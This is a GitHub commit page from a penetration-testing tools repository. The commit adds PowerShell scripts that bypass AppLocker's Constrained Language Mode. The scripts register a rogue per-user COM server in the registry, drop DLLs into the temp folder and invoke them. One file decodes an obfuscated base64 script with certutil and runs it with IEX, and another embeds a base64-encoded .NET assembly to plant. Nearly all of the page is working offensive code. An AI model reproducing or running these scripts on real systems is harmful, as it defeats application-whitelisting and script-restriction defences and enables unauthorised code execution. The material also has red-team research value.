mirror of
https://github.com/mgeeky/Penetration-Testing-Tools.git
synced 2026-10-28 12:01:25 +01:00
Added Bypass-ConstrainedLanguageMode
This commit is contained in:
mb committed
1 parent
4aa113e076
commit
4e17445eaf
14 files changed
+903
No files matched your search
@@ -0,0 +1,18 @@
|
||||
$foo = "IyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiRjb21OYW1lID0gIkNsbURpc2FibGVEbGwiCiRjb21EZXNjcmlwdGlvbiA9ICJDTE0gRGlzYWJsZSBDT00iCgokZHN0RGxsUGF0aCA9ICIkKCRFbnY6VGVtcClcQ2xtRGlzYWJsZURsbC5kbGwiCiRkc3RBc3NlbWJseVBhdGggPSAiJCgkRW52OlRlbXApXENsbURpc2FibGVBc3NlbWJseS5kbGwiCgokZ3VpZCA9ICJ7Mzk0YWFhNTAtNjg0ZS00ODcwLTkxMWEtZDA0NTI5M2IzYjEzfSIKCiMgLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQoKZnVuY3Rpb24gQnlwYXNzLUNMTSAKeyAKICAgIHBhcmFtKAogICAgICAgW3N3aXRjaF0kUmVtb3ZlQ29tV2hlbkZpbmlzaGVkCiAgICApICAKCiAgICAkRXJyb3JBY3Rpb25QcmVmZXJlbmNlID0gIlNpbGVudGx5Q29udGludWUiCgogICAgZnVuY3Rpb24gQ3JlYXRlLUNPTSB7CiAgICAgICAgcGFyYW0oCiAgICAgICAgICAgIFtQYXJhbWV0ZXIoTWFuZGF0b3J5ID0gJHRydWUpXQogICAgICAgICAgICBbc3RyaW5nXSRjb21OYW1lLAoKICAgICAgICAgICAgW1BhcmFtZXRlcihNYW5kYXRvcnkgPSAkdHJ1ZSldCiAgICAgICAgICAgIFtzdHJpbmddJGNvbURlc2NyaXB0aW9uLAoKICAgICAgICAgICAgW1BhcmFtZXRlcihNYW5kYXRvcnkgPSAkdHJ1ZSldCiAgICAgICAgICAgIFtzdHJpbmddJGRsbFBhdGgsCgogICAgICAgICAgICBbUGFyYW1ldGVyKE1hbmRhdG9yeSA9ICR0cnVlKV0KICAgICAgICAgICAgW3N0cmluZ10kZ3VpZAogICAgICAgICkKICAgICAgICAKICAgICAgICAjIE9idGFpbnMgY3VycmVudCB1c2VyIFNJRCwgY2FuJ3QgdXNlIFN5c3RlbS5TZWN1cml0eS5QcmluY2lwYWwuTlRBY2NvdW50CiAgICAgICAgIyB0eXBlIGJlY2F1c2Ugd2UgYXJlIGluIENvbnN0cmFpbmVkIExhbmd1YWdlIE1vZGUKICAgICAgICAkc2lkID0gKHdob2FtaSAvdXNlciB8IHNlbGVjdC1zdHJpbmcgLVBhdHRlcm4gIihTLTEtNVswLTktXSspIiAtYWxsIHwgc2VsZWN0IC1FeHBhbmRQcm9wZXJ0eSBNYXRjaGVzKS52YWx1ZQoKICAgICAgICBOZXctUFNEcml2ZSAtUFNQcm92aWRlciBSZWdpc3RyeSAtTmFtZSBIS1UgLVJvb3QgSEtFWV9VU0VSUwogICAgICAgICRrZXkgPSAnSEtVOlx7MH1fY2xhc3NlcycgLWYgJHNpZAoKICAgICAgICAjIEFkZGluZyBvdXIgb3duIEluUHJvY1NlcnZlcjMyCiAgICAgICAgJGtleSA9ICdIS1U6XHswfV9jbGFzc2VzXENMU0lEXCcgLWYgJHNpZAogICAgICAgIE5ldy1JdGVtIC1QYXRoICRrZXkgLU5hbWUgJGd1aWQKICAgICAgICAka2V5ID0gJ0hLVTpcezB9X2NsYXNzZXNcQ0xTSURcezF9JyAtZiAkc2lkLCAkZ3VpZAogICAgICAgIE5ldy1JdGVtIC1QYXRoICRrZXkgLU5hbWUgJ0luUHJvY1NlcnZlcjMyJwogICAgICAgIE5ldy1JdGVtUHJvcGVydHkgLVBhdGggJGtleSAtTmFtZSAnKERlZmF1bHQpJyAtVmFsdWUgJGNvbURlc2NyaXB0aW9uIC1Qcm9wZXJ0eVR5cGUgU3RyaW5nIC1Gb3JjZQogICAgICAgICRrZXkgPSAnSEtVOlx7MH1fY2xhc3Nlc1xDTFNJRFx7MX1cSW5Qcm9jU2VydmVyMzInIC1mICRzaWQsICRndWlkCiAgICAgICAgTmV3LUl0ZW1Qcm9wZXJ0eSAtUGF0aCAka2V5IC1OYW1lICcoRGVmYXVsdCknIC1WYWx1ZSAkZGxsUGF0aCAtUHJvcGVydHlUeXBlIFN0cmluZyAtRm9yY2UKICAgICAgICBOZXctSXRlbVByb3BlcnR5IC1QYXRoICRrZXkgLU5hbWUgJ1RocmVhZGluZ01vZGVsJyAtVmFsdWUgIkFwYXJ0bWVudCIgLVByb3BlcnR5VHlwZSBTdHJpbmcgLUZvcmNlCgogICAgICAgICMgUmVnaXN0ZXJpbmcgQ09NJ3MgUHJvZ0lEIC8gc2hvcnRuYW1lCiAgICAgICAgJGtleSA9ICdIS1U6XHswfV9jbGFzc2VzJyAtZiAkc2lkCiAgICAgICAgTmV3LUl0ZW0gLVBhdGggJGtleSAtTmFtZSAkY29tTmFtZQogICAgICAgICRrZXkgPSAnSEtVOlx7MH1fY2xhc3Nlc1x7MX0nIC1mICRzaWQsICRjb21OYW1lCiAgICAgICAgTmV3LUl0ZW1Qcm9wZXJ0eSAtUGF0aCAka2V5IC1OYW1lICcoRGVmYXVsdCknIC1WYWx1ZSAkY29tRGVzY3JpcHRpb24gLVByb3BlcnR5VHlwZSBTdHJpbmcgLUZvcmNlCiAgICAgICAgTmV3LUl0ZW0gLVBhdGggJGtleSAtTmFtZSAnQ0xTSUQnCiAgICAgICAgJGtleSA9ICdIS1U6XHswfV9jbGFzc2VzXHsxfVxDTFNJRCcgLWYgJHNpZCwgJGNvbU5hbWUKICAgICAgICBOZXctSXRlbVByb3BlcnR5IC1QYXRoICRrZXkgLU5hbWUgJyhEZWZhdWx0KScgLVZhbHVlICRndWlkIC1Qcm9wZXJ0eVR5cGUgU3RyaW5nIC1Gb3JjZQogICAgfQoKICAgIGZ1bmN0aW9uIFJlbW92ZS1DT00gewogICAgICAgIHBhcmFtKAogICAgICAgICAgICBbUGFyYW1ldGVyKE1hbmRhdG9yeSA9ICR0cnVlKV0KICAgICAgICAgICAgW3N0cmluZ10kY29tTmFtZSwKCiAgICAgICAgICAgIFtQYXJhbWV0ZXIoTWFuZGF0b3J5ID0gJHRydWUpXQogICAgICAgICAgICBbc3RyaW5nXSRndWlkCiAgICAgICAgKQoKICAgICAgICAkc2lkID0gKHdob2FtaSAvdXNlciB8IHNlbGVjdC1zdHJpbmcgLVBhdHRlcm4gIihTLTEtNVswLTktXSspIiAtYWxsIHwgc2VsZWN0IC1FeHBhbmRQcm9wZXJ0eSBNYXRjaGVzKS52YWx1ZQoKICAgICAgICBOZXctUFNEcml2ZSAtUFNQcm92aWRlciBSZWdpc3RyeSAtTmFtZSBIS1UgLVJvb3QgSEtFWV9VU0VSUyB8IE91dC1OdWxsCiAgICAgICAgJGtleSA9ICdIS1U6XHswfV9jbGFzc2VzXHsxfScgLWYgJHNpZCwgJGNvbU5hbWUKICAgICAgICBSZW1vdmUtSXRlbSAtUGF0aCAka2V5IC1SZWN1cnNlIHwgT3V0LU51bGwKCiAgICAgICAgJGtleSA9ICdIS1U6XHswfV9jbGFzc2VzXENMU0lEXHsxfScgLWYgJHNpZCwgJGd1aWQKICAgICAgICBSZW1vdmUtSXRlbSAtUGF0aCAka2V5IC1SZWN1cnNlIHwgT3V0LU51bGwKICAgIH0KCiAgICBmdW5jdGlvbiBJbnZva2UtUFMgewogICAgICAgIHBhcmFtKAogICAgICAgICAgICBbUGFyYW1ldGVyKE1hbmRhdG9yeSA9ICR0cnVlKV0KICAgICAgICAgICAgW3N0cmluZ10kQ29tbWFuZHMKICAgICAgICApCgogICAgICAgICRSdW5zcGFjZSA9IFtydW5zcGFjZWZhY3RvcnldOjpDcmVhdGVSdW5zcGFjZSgpCiAgICAgICAgJHBvc2ggPSBbcG93ZXJzaGVsbF06OkNyZWF0ZSgpCiAgICAgICAgJHBvc2gucnVuc3BhY2UgPSAkUnVuc3BhY2UKICAgICAgICAkUnVuc3BhY2UuT3BlbigpCiAgICAgICAgCiAgICAgICAgW3ZvaWRdJHBvc2guQWRkU2NyaXB0KCRDb21tYW5kcykKICAgICAgICAkcG9zaC5JbnZva2UoKQogICAgICAgICRwb3NoLkRpc3Bvc2UoKSB8IE91dC1OdWxsCiAgICB9CgogICAgZnVuY3Rpb24gRGVjb2RlLUJhc2U2NCAoJGRhdGEpIHsKICAgICAgICAkY2hhcnMgPSAiQUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVphYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ejAxMjM0NTY3ODkrLyIKICAgICAgICAkc3MgPSAiW14iICsgJGNoYXJzICsgIj1dIgogICAgICAgICRkYXRhID0gJGRhdGEgLXJlcGxhY2UgJHNzLCAiIgoKICAgICAgICAkcGFkID0gIiIKICAgICAgICBbYnl0ZVtdXSRyID0gQCgpCiAgICAgICAgaWYgKCgkZGF0YVskZGF0YS5MZW5ndGggLSAxXSkgLWVxICc9JykgewogICAgICAgICAgICBpZiAoKCRkYXRhWyRkYXRhLkxlbmd0aCAtIDJdKSAtZXEgJz0nKSB7CiAgICAgICAgICAgICAgICAkcGFkID0gIkFBIgogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgJHBhZCA9ICJBIgogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICAkZGF0YSA9ICRkYXRhLlN1YnN0cmluZygwLCALine truncated
|
||||
|
||||
$t = New-TemporaryFile
|
||||
$foo | Out-File $t.FullName
|
||||
certutil -decode $t.FullName "$($t.FullName).ps1" | Out-Null
|
||||
IEX "$($t.FullName).ps1"
|
||||
|
||||
###################
|
||||
#
|
||||
# Put your commands below:
|
||||
#
|
||||
|
||||
|
||||
|
||||
###################
|
||||
|
||||
del "$($t.FullName)"
|
||||
del "$($t.FullName).ps1"
|
||||
@@ -0,0 +1,151 @@
|
||||
|
||||
# -------------------------
|
||||
$comName = "ClmDisableDll"
|
||||
$comDescription = "CLM Disable COM"
|
||||
|
||||
$srcDllPath = '.\ClmDisableDll.dll'
|
||||
$dstDllPath = "$($Env:Temp)\ClmDisableDll.dll"
|
||||
|
||||
$srcAssemblyPath = '.\ClmDisableAssembly.dll'
|
||||
$dstAssemblyPath = "$($Env:Temp)\ClmDisableAssembly.dll"
|
||||
|
||||
$guid = "{394aaa50-684e-4870-911a-d045293b3b13}"
|
||||
# -------------------------
|
||||
|
||||
function Bypass-CLM
|
||||
{
|
||||
param(
|
||||
[switch]$RemoveComWhenFinished
|
||||
)
|
||||
|
||||
$ErrorActionPreference = "SilentlyContinue"
|
||||
|
||||
function Create-COM {
|
||||
param(
|
||||
[Parameter(Mandatory = $true)]
|
||||
[string]$comName,
|
||||
|
||||
[Parameter(Mandatory = $true)]
|
||||
[string]$comDescription,
|
||||
|
||||
[Parameter(Mandatory = $true)]
|
||||
[string]$dllPath,
|
||||
|
||||
[Parameter(Mandatory = $true)]
|
||||
[string]$guid
|
||||
)
|
||||
|
||||
# Obtains current user SID, can't use System.Security.Principal.NTAccount
|
||||
# type because we are in Constrained Language Mode
|
||||
$sid = (whoami /user | select-string -Pattern "(S-1-5[0-9-]+)" -all | select -ExpandProperty Matches).value
|
||||
|
||||
New-PSDrive -PSProvider Registry -Name HKU -Root HKEY_USERS
|
||||
$key = 'HKU:\{0}_classes' -f $sid
|
||||
|
||||
# Adding our own InProcServer32
|
||||
$key = 'HKU:\{0}_classes\CLSID\' -f $sid
|
||||
New-Item -Path $key -Name $guid
|
||||
$key = 'HKU:\{0}_classes\CLSID\{1}' -f $sid, $guid
|
||||
New-Item -Path $key -Name 'InProcServer32'
|
||||
New-ItemProperty -Path $key -Name '(Default)' -Value $comDescription -PropertyType String -Force
|
||||
$key = 'HKU:\{0}_classes\CLSID\{1}\InProcServer32' -f $sid, $guid
|
||||
New-ItemProperty -Path $key -Name '(Default)' -Value $dllPath -PropertyType String -Force
|
||||
New-ItemProperty -Path $key -Name 'ThreadingModel' -Value "Apartment" -PropertyType String -Force
|
||||
|
||||
# Registering COM's ProgID / shortname
|
||||
$key = 'HKU:\{0}_classes' -f $sid
|
||||
New-Item -Path $key -Name $comName
|
||||
$key = 'HKU:\{0}_classes\{1}' -f $sid, $comName
|
||||
New-ItemProperty -Path $key -Name '(Default)' -Value $comDescription -PropertyType String -Force
|
||||
New-Item -Path $key -Name 'CLSID'
|
||||
$key = 'HKU:\{0}_classes\{1}\CLSID' -f $sid, $comName
|
||||
New-ItemProperty -Path $key -Name '(Default)' -Value $guid -PropertyType String -Force
|
||||
}
|
||||
|
||||
function Remove-COM {
|
||||
param(
|
||||
[Parameter(Mandatory = $true)]
|
||||
[string]$comName,
|
||||
|
||||
[Parameter(Mandatory = $true)]
|
||||
[string]$guid
|
||||
)
|
||||
|
||||
$sid = (whoami /user | select-string -Pattern "(S-1-5[0-9-]+)" -all | select -ExpandProperty Matches).value
|
||||
|
||||
New-PSDrive -PSProvider Registry -Name HKU -Root HKEY_USERS | Out-Null
|
||||
$key = 'HKU:\{0}_classes\{1}' -f $sid, $comName
|
||||
Remove-Item -Path $key -Recurse | Out-Null
|
||||
|
||||
$key = 'HKU:\{0}_classes\CLSID\{1}' -f $sid, $guid
|
||||
Remove-Item -Path $key -Recurse | Out-Null
|
||||
}
|
||||
|
||||
function Invoke-PS {
|
||||
param(
|
||||
[Parameter(Mandatory = $true)]
|
||||
[string]$Commands
|
||||
)
|
||||
|
||||
$Runspace = [runspacefactory]::CreateRunspace()
|
||||
$posh = [powershell]::Create()
|
||||
$posh.runspace = $Runspace
|
||||
$Runspace.Open()
|
||||
|
||||
[void]$posh.AddScript($Commands)
|
||||
$posh.Invoke()
|
||||
$posh.Dispose() | Out-Null
|
||||
}
|
||||
|
||||
Write-Host "`tAppLocker Constrined Language Mode Bypass via COM"
|
||||
Write-Host "`t(implementation of: @xpn's technique, as documented in:)"
|
||||
Write-Host "`t(https://www.mdsec.co.uk/2018/09/applocker-clm-bypass-via-com/)"
|
||||
Write-Host "`n`tRe-implemented, enhanced by: Mariusz B., mgeeky"
|
||||
Write-Host "`t-----`n"
|
||||
|
||||
Write-Host "[.] Step 0. Planted DLL files in:`n`t$dstAssemblyPath`n`t$dstDllPath"
|
||||
|
||||
Copy-Item $srcDllPath $dstDllPath -Force
|
||||
Copy-Item $srcAssemblyPath $dstAssemblyPath -Force
|
||||
|
||||
Write-Host "[.] Step 1. Creating custom COM object."
|
||||
|
||||
Create-COM -ComName $comName -ComDescription $comDescription -DllPath $dstDllPath -Guid $guid | Out-Null
|
||||
|
||||
Write-Host "[.] Step 2. Invoking it ($comName)..."
|
||||
|
||||
Write-Host "`tPowershell runspace Thread ID: $([appdomain]::GetCurrentThreadId())"
|
||||
try
|
||||
{
|
||||
New-Object -ComObject $comName -erroraction 'silentlycontinue' | Out-Null
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
|
||||
if($RemoveComWhenFinished)
|
||||
{
|
||||
Write-Host "[.] Removing registered COM object."
|
||||
Remove-COM -ComName $comName -Guid $guid
|
||||
}
|
||||
else
|
||||
{
|
||||
Write-Host "`n============"
|
||||
Write-Host -ForegroundColor Yellow "`nUse below command to disable CLM on Demand (ignore errors):"
|
||||
Write-Host "`n`tPS> " -NoNewLine
|
||||
Write-Host -ForegroundColor Green "New-Object -ComObject $comName"
|
||||
Write-Host "`n============`n"
|
||||
}
|
||||
|
||||
|
||||
#############################################################
|
||||
#
|
||||
# PUT YOUR CODE BELOW THAT IS GOING TO BE RUN IN CLM DISABLED
|
||||
#
|
||||
|
||||
Write-Host "`n[+] Finished. CLM status: $($ExecutionContext.SessionState.LanguageMode)"
|
||||
|
||||
#############################################################
|
||||
}
|
||||
|
||||
Bypass-CLM
|
||||
@@ -0,0 +1,225 @@
|
||||
# -------------------------
|
||||
$comName = "ClmDisableDll"
|
||||
$comDescription = "CLM Disable COM"
|
||||
|
||||
$dstDllPath = "$($Env:Temp)\ClmDisableDll.dll"
|
||||
$dstAssemblyPath = "$($Env:Temp)\ClmDisableAssembly.dll"
|
||||
|
||||
$guid = "{394aaa50-684e-4870-911a-d045293b3b13}"
|
||||
|
||||
# -------------------------
|
||||
|
||||
function Bypass-CLM
|
||||
{
|
||||
param(
|
||||
[switch]$RemoveComWhenFinished
|
||||
)
|
||||
|
||||
$ErrorActionPreference = "SilentlyContinue"
|
||||
|
||||
function Create-COM {
|
||||
param(
|
||||
[Parameter(Mandatory = $true)]
|
||||
[string]$comName,
|
||||
|
||||
[Parameter(Mandatory = $true)]
|
||||
[string]$comDescription,
|
||||
|
||||
[Parameter(Mandatory = $true)]
|
||||
[string]$dllPath,
|
||||
|
||||
[Parameter(Mandatory = $true)]
|
||||
[string]$guid
|
||||
)
|
||||
|
||||
# Obtains current user SID, can't use System.Security.Principal.NTAccount
|
||||
# type because we are in Constrained Language Mode
|
||||
$sid = (whoami /user | select-string -Pattern "(S-1-5[0-9-]+)" -all | select -ExpandProperty Matches).value
|
||||
|
||||
New-PSDrive -PSProvider Registry -Name HKU -Root HKEY_USERS
|
||||
$key = 'HKU:\{0}_classes' -f $sid
|
||||
|
||||
# Adding our own InProcServer32
|
||||
$key = 'HKU:\{0}_classes\CLSID\' -f $sid
|
||||
New-Item -Path $key -Name $guid
|
||||
$key = 'HKU:\{0}_classes\CLSID\{1}' -f $sid, $guid
|
||||
New-Item -Path $key -Name 'InProcServer32'
|
||||
New-ItemProperty -Path $key -Name '(Default)' -Value $comDescription -PropertyType String -Force
|
||||
$key = 'HKU:\{0}_classes\CLSID\{1}\InProcServer32' -f $sid, $guid
|
||||
New-ItemProperty -Path $key -Name '(Default)' -Value $dllPath -PropertyType String -Force
|
||||
New-ItemProperty -Path $key -Name 'ThreadingModel' -Value "Apartment" -PropertyType String -Force
|
||||
|
||||
# Registering COM's ProgID / shortname
|
||||
$key = 'HKU:\{0}_classes' -f $sid
|
||||
New-Item -Path $key -Name $comName
|
||||
$key = 'HKU:\{0}_classes\{1}' -f $sid, $comName
|
||||
New-ItemProperty -Path $key -Name '(Default)' -Value $comDescription -PropertyType String -Force
|
||||
New-Item -Path $key -Name 'CLSID'
|
||||
$key = 'HKU:\{0}_classes\{1}\CLSID' -f $sid, $comName
|
||||
New-ItemProperty -Path $key -Name '(Default)' -Value $guid -PropertyType String -Force
|
||||
}
|
||||
|
||||
function Remove-COM {
|
||||
param(
|
||||
[Parameter(Mandatory = $true)]
|
||||
[string]$comName,
|
||||
|
||||
[Parameter(Mandatory = $true)]
|
||||
[string]$guid
|
||||
)
|
||||
|
||||
$sid = (whoami /user | select-string -Pattern "(S-1-5[0-9-]+)" -all | select -ExpandProperty Matches).value
|
||||
|
||||
New-PSDrive -PSProvider Registry -Name HKU -Root HKEY_USERS | Out-Null
|
||||
$key = 'HKU:\{0}_classes\{1}' -f $sid, $comName
|
||||
Remove-Item -Path $key -Recurse | Out-Null
|
||||
|
||||
$key = 'HKU:\{0}_classes\CLSID\{1}' -f $sid, $guid
|
||||
Remove-Item -Path $key -Recurse | Out-Null
|
||||
}
|
||||
|
||||
function Invoke-PS {
|
||||
param(
|
||||
[Parameter(Mandatory = $true)]
|
||||
[string]$Commands
|
||||
)
|
||||
|
||||
$Runspace = [runspacefactory]::CreateRunspace()
|
||||
$posh = [powershell]::Create()
|
||||
$posh.runspace = $Runspace
|
||||
$Runspace.Open()
|
||||
|
||||
[void]$posh.AddScript($Commands)
|
||||
$posh.Invoke()
|
||||
$posh.Dispose() | Out-Null
|
||||
}
|
||||
|
||||
function Decode-Base64 ($data) {
|
||||
$chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
|
||||
$ss = "[^" + $chars + "=]"
|
||||
$data = $data -replace $ss, ""
|
||||
|
||||
$pad = ""
|
||||
[byte[]]$r = @()
|
||||
if (($data[$data.Length - 1]) -eq '=') {
|
||||
if (($data[$data.Length - 2]) -eq '=') {
|
||||
$pad = "AA"
|
||||
} else {
|
||||
$pad = "A"
|
||||
}
|
||||
}
|
||||
|
||||
$data = $data.Substring(0, $data.Length - $pad.Length) + $pad
|
||||
|
||||
for($c = 0; $c -lt $data.Length ; $c += 4) {
|
||||
$n = ($chars.IndexOf($data[$c]) -shl 18) `
|
||||
+ ($chars.IndexOf($data[$c + 1]) -shl 12) `
|
||||
+ ($chars.IndexOf($data[$c + 2]) -shl 6) `
|
||||
+ ($chars.IndexOf($data[$c + 3]))
|
||||
|
||||
$r += [byte](($n -shr 16) -band 0xff)
|
||||
$r += [byte](($n -shr 8) -band 0xff)
|
||||
$r += [byte]($n -band 0xff)
|
||||
}
|
||||
|
||||
$dif = $r.Length - $pad.Length
|
||||
return $r[0..$dif]
|
||||
}
|
||||
|
||||
Write-Host "`tAppLocker Constrined Language Mode Bypass via COM"
|
||||
Write-Host "`t(implementation of: @xpn's technique, as documented in:)"
|
||||
Write-Host "`t(https://www.mdsec.co.uk/2018/09/applocker-clm-bypass-via-com/)"
|
||||
Write-Host "`n`tRe-implemented by: Mariusz B., mgeeky"
|
||||
Write-Host "`t-----`n"
|
||||
|
||||
$EncodedAssemblyDll = "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAKxM2ZIAAAAAAAAAAOAAIiALATAAAA4AAAAGAAAAAAAAEi0AAAAgAAAAQAAAAAAAEAAgAAAAAgAABAAAAAAAAAAGAAAAAAAAAACAAAAAAgAAAAAAAAMAYIUAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAL0sAABPAAAAAEAAAMgDAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAwAAAAYLAAAOAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACAAAAAAAAAAAAAAACCAAAEgAAAAAAAAAAAAAAC50ZXh0AAAAGA0AAAAgAAAADgAAAAIAAAAAAAAAAAAAAAAAACAAAGAucnNyYwAAAMgDAAAAQAAAAAQAAAAQAAAAAAAAAAAAAAAAAABAAABALnJlbG9jAAAMAAAAAGAAAAACAAAAFAAAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAADxLAAAAAAAAEgAAAACAAUAwCEAAFgKAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABswBAAnAQAAAQAAEXIBAABwKA8AAApyZwAAcCgQAAAKbxEAAAoKEgAoEgAACnK5AABwKAEAAAYKEgAoEgAACigTAAAKKA8AAAoCbxQAAAoWMRVywQAAcAJy6QAAcCgVAAAKKA8AAAooFgAACm8XAAAKFm8YAAAKKBYAAApvGQAAChZvGgAACt4TC3LtAABwBygbAAAKKA8AAAreAAAoHAAACiUWbx0AAAolGW8eAAAKJW8fAAAKJW8XAAAKFm8YAAAKbyAAAAreEwxyHwEAcAgoGwAACigPAAAK3gAAKCEAAAolFm8iAAAKJRlvIwAACigkAAAKDQlvHwAACglvFwAAChZvGAAACglvIAAACt4KCSwGCW8lAAAK3N4VEwRyUQEAcBEEKBsAAAooDwAACt4AFioAATQAAAAAawASfQATEQAAAQAAkQAsvQATEQAAAQIA6gAaBAEKAAAAAAAA0QA/EAEVEQAAAR4CKCYAAAoqQlNKQgEAAQAAAAAADAAAAHY0LjAuMzAzMTkAAAAABQBsAAAA0AIAACN+AAA8AwAACAQAACNTdHJpbmdzAAAAAEQHAACEAQAAI1VTAMgIAAAQAAAAI0dVSUQAAADYCAAAgAEAACNCbG9iAAAAAAAAAAIAAAFHFQIUCQAAAAD6ATMAFgAAAQAAAB0AAAACAAAAAwAAAAEAAAAmAAAADgAAAAEAAAABAAAAAQAAAAEAAAACAAAAAAChAgEAAAAAAAYAxgFcAwYAMwJcAwYA+gADAw8AfAMAAAYAIgHhAgYAqQHhAgYAigHhAgYAGgLhAgYA5gHhAgYA/wHhAgYAOQHhAgYADgE9AwYA7AA9AwYAbQHhAgYAVAFiAgYAtAO4AgYA8wK4AgoAbAAWAwYAoQC4AgYASwBRAgYAAQC4AgYAfgK4AgoA9gMWAwoAdQDEAgoAxQAWAwoA4gMWAwYA3QBRAgoAiwMWAwYAlQC4AgAAAAAHAAAAAAABAAEAAQAQAM8DzwNBAAEAAQAAAAAAgACRIC0AjAABAFAgAAAAAJYAyQOQAAEAuCEAAAAAhhj9AgYAAgAAAAEAhQIJAP0CAQARAP0CBgAZAP0CCgApAP0CEAAxAP0CEAA5AP0CEABBAP0CEABJAP0CEABRAP0CEABZAP0CEABhAP0CFQBpAP0CEABxAP0CEAB5AP0CEACZAKkAJgChAEAAKwChABkAMACpAHwCNACxAK0DOACxAIkCMACxAK0DQACRAGEARwCRAPIDTAC5AIQAUQCRAMEAVwDJAIQAUQCxAK0DXADRAFIARwCRANkAYgCRAJsDaACRAL8CBgCRALMABgDJALsDbgDJANkAYgDJAJsDaADRAFIAcwDpALkABgCBAP0CBgAuAAsAlQAuABMAngAuABsAvQAuACMAxgAuACsA3gAuADMA3gAuADsA3gAuAEMAxgAuAEsA5AAuAFMA3gAuAFsA3gAuAGMA/AAuAGsAJgEuAHMAMwEaAJQCAAEDAC0AAQAEgAAAAQAAAAAAAAAAAAAAAADPAwAABAAAAAAAAAAAAAAAegAQAAAAAAADAAAAAAAAAAAAAACDAMQCAAAAAAAAAEludDMyADxNb2R1bGU+AG1zY29ybGliAGdldF9NYW5hZ2VkVGhyZWFkSWQAR2V0Q3VycmVudFRocmVhZElkAGdldF9DdXJyZW50VGhyZWFkAENyZWF0ZVJ1bnNwYWNlAGdldF9EZWZhdWx0UnVuc3BhY2UAUFNMYW5ndWFnZU1vZGUAc2V0X0xhbmd1YWdlTW9kZQBJRGlzcG9zYWJsZQBDb25zb2xlAFdyaXRlTGluZQBDbG9zZQBEaXNwb3NlAGdldF9Jbml0aWFsU2Vzc2lvblN0YXRlAHNldF9BcGFydG1lbnRTdGF0ZQBHdWlkQXR0cmlidXRlAERlYnVnZ2FibGVBdHRyaWJ1dGUAQ29tVmlzaWJsZUF0dHJpYnV0ZQBBc3NlbWJseVRpdGxlQXR0cmlidXRlAEFzc2VtYmx5VHJhZGVtYXJrQXR0cmlidXRlAFRhcmdldEZyYW1ld29ya0F0dHJpYnV0ZQBBc3NlbWJseUZpbGVWZXJzaW9uQXR0cmlidXRlAEFzc2VtYmx5Q29uZmlndXJhdGlvbkF0dHJpYnV0ZQBBc3NlbWJseURlc2NyaXB0aW9uQXR0cmlidXRlAENvbXBpbGF0aW9uUmVsYXhhdGlvbnNBdHRyaWJ1dGUAQXNzZW1ibHlQcm9kdWN0QXR0cmlidXRlAEFzc2VtYmx5Q29weXJpZ2h0QXR0cmlidXRlAEFzc2VtYmx5Q29tcGFueUF0dHJpYnV0ZQBSdW50aW1lQ29tcGF0aWJpbGl0eUF0dHJpYnV0ZQBTeXN0ZW0uVGhyZWFkaW5nAFN5c3RlbS5SdW50aW1lLlZlcnNpb25pbmcAVG9TdHJpbmcAYXJnAGdldF9MZW5ndGgAa2VybmVsMzIuZGxsAENsbURpc2FibGVBc3NlbWJseS5kbGwAU3lzdGVtAE9wZW4AU3lzdGVtLk1hbmFnZW1lbnQuQXV0b21hdGlvbgBTeXN0ZW0uUmVmbGVjdGlvbgBFeGNlcHRpb24ALmN0b3IAU3lzdGVtLkRpYWdub3N0aWNzAFN5c3RlbS5NYW5hZ2VtZW50LkF1dG9tYXRpb24uUnVuc3BhY2VzAFN5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcwBTeXN0ZW0uUnVudGltZS5Db21waWxlclNlcnZpY2VzAERlYnVnZ2luZ01vZGVzAFBTVGhyZWFkT3B0aW9ucwBzZXRfVGhyZWFkT3B0aW9ucwBDb25jYXQAT2JqZWN0AENyZWF0ZURlZmF1bHQAU3RhcnQAQ2xtRGlzYWJsZUFzc2VtYmx5AFJ1bnNwYWNlRmFjdG9yeQBnZXRfU2Vzc2lvblN0YXRlUHJveHkAAGVbACsAXQAgAE0AYQBuAGEAZwBlAGQAIABtAG8AZABlACAAYQBzAHMAZQBtAGIAbAB5AC4AIABEAGkAcwBhAGIAbABpAG4AZwAgAEMATABNACAAZwBsAG8AYgBhAGwAbAB5AC4AAFEJAEMAdQByAHIAZQBuAHQAIAB0AGgAcgBlAGEAZAAgAEkARAAgACgAbQBhAG4AYQBnAGUAZAAvAHUAbgBtAGEAbgBhAGcAZQBkACkAOgAgAAAHIAAvACAAACcJAFAAYQBzAHMAZQBkACAAYQByAGcAdQBtAGUAbgB0ADoAIAAnAAEDJwABMVsALQBdACAAQQBwAHAAcgBvAGEAYwBoACAAIwAxACAAZgBhAGkAbABlAGQAOgAgAAExWwAtAF0AIABBAHAAcAByAG8AYQBjAGgAIAAjADIAIABmAGEAaQBsAGUAZAA6ACAAATFbAC0AXQAgAEEAcABwAHIAbwBhAGMAaAAgACMAMwAgAGYAYQBpAGwAZQBkADoAIAABADY1r1S0doROqU1z4xlH88oABCABAQgDIAABBSABARERBCABAQ4EIAEBAgsHBQgSRRJFEkkSRQQAAQEOBAAAElEDIAAIAyAADgcABA4ODg4OBgADDg4ODgQAABJJBCAAEl0FIAEBEWEEIAASZQUAAg4cHAUgAQERbQUgAQERcQQAABJlBgABEkkSZQi3elxWGTTgiQgxvzhWrTZONQMAAAgEAAEIDggBAAgAAAAAAB4BAAEAVAIWV3JhcE5vbkV4